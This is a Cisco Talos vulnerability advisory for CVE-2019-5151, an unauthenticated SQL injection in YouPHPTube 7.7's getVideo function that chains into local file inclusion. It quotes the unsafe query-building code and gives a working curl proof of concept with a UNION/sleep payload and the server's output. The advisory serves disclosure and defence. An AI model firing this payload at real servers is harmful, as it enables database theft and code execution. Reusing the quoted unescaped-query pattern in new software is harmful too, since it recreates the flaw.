CVE-2019-5151
An exploitable SQL injection vulnerability exist in YouPHPTube 7.7. A specially crafted unauthenticated HTTP request can cause a SQL injection, possibly leading to denial of service, exfiltration of the database and local file inclusion, which could potentially further lead to code execution. An attacker can send an HTTP request to trigger this vulnerability.
YouPHPTube 7.7 commit b22e81d25b2a570f4867ea5dce5153ba4c76cc2d (Oct 15th 2019)
10.0 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:H
CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
YouPHPTube is an open-source web application written in PHP which allows to share, upload, and import videos from external websites.
The getVideo
function in /objects/video.php
doesn’t handle user input safely:
static function getVideo($id = "", $status = "viewable", $ignoreGroup = false, $random = false, $suggetedOnly = false, $showUnlisted = false, $ignoreTags = false, $activeUsersOnly = true) {
...
[1] $sql = "SELECT u.*, v.*, "
. " nv.title as next_title,"
. " nv.clean_title as next_clean_title,"
. " nv.filename as next_filename,"
. " nv.id as next_id,"
. " c.id as category_id,c.iconClass,c.name as category,c.iconClass, c.clean_name as clean_category,c.description as category_description,c.nextVideoOrder as category_order, v.created as videoCreation, "
. " (SELECT count(id) FROM likes as l where l.videos_id = v.id AND `like` = 1 ) as likes, "
. " (SELECT count(id) FROM likes as l where l.videos_id = v.id AND `like` = -1 ) as dislikes ";
...
if (empty($id)) {
if (empty($random) && !empty($_GET['videoName'])) {
[2] $sql .= " AND v.clean_title = '{$_GET['videoName']}' ";
} elseif (!empty($random)) {
$sql .= " AND v.id != {$random} ";
$sql .= " ORDER BY RAND() ";
} else if ($suggetedOnly && empty($_GET['videoName']) && empty($_GET['search']) && empty($_GET['searchPhrase'])) {
$sql .= " AND v.isSuggested = 1 ";
$sql .= " ORDER BY RAND() ";
} else {
$sql .= " ORDER BY v.Created DESC ";
}
}
...
$res = sqlDAL::readSql($sql);
[3] $video = sqlDAL::fetchAssoc($res);
sqlDAL::close($res);
...
At [1] the SQL query string is initialized, at [2] the $_GET['videoName']
parameter is extracted from the request and is directly inserted in the query string, which is later executed [3].
This function is reachable by an unauthenticated user by requesting the page /index.php
.
Note that after the query is executed, the view /view/modeYoutube.php
is included in the request, which eventually executes the code block below:
<?php
$vType = $video['type'];
if ($vType == "linkVideo") {
$vType = "video";
} else if ($vType == "live") {
$vType = "../../plugin/Live/view/liveVideo";
} else if ($vType == "linkAudio") {
$vType = "audio";
}
require "{$global['systemRootPath']}view/include/{$vType}.php";
?>
The vType
variable is extracted from one of the columns from the SQL query previously described. This means that an attacker can exploit the SQL injection to include any local php file in the system (LFI), possibly executing arbitrary code.
The following proof-of-concept demonstrates both the SQL injection and the local file inclusion vulnerabilities:
$ time curl -s "http://localhost:8182/?videoName='%20union%20select%20"$(perl -e 'print "1,"x45 . "1234," . "2,"x33')"sleep(3)--%20x"
<b>Warning</b>: require(/var/www/html/view/include/1234.php): failed to open stream: No such file or directory in <b>/var/www/html/view/modeYoutube.php</b> on line <b>273</b><br />
<br />
<b>Fatal error</b>: require(): Failed opening required '/var/www/html/view/include/1234.php' (include_path='.:/usr/local/lib/php') in <b>/var/www/html/view/modeYoutube.php</b> on line <b>273</b><br />
curl -s 0.01s user 0.01s system 0% cpu 6.286 total
The code tried to include the file 1234.php
, and the query took six seconds to execute (the same query is executed twice on the server side).
2019-10-23 - Vendor disclosure
2019-10-29 - Vendor patched
2019-10-30 - Public release
Discovered by Claudio Bozzato of Cisco Talos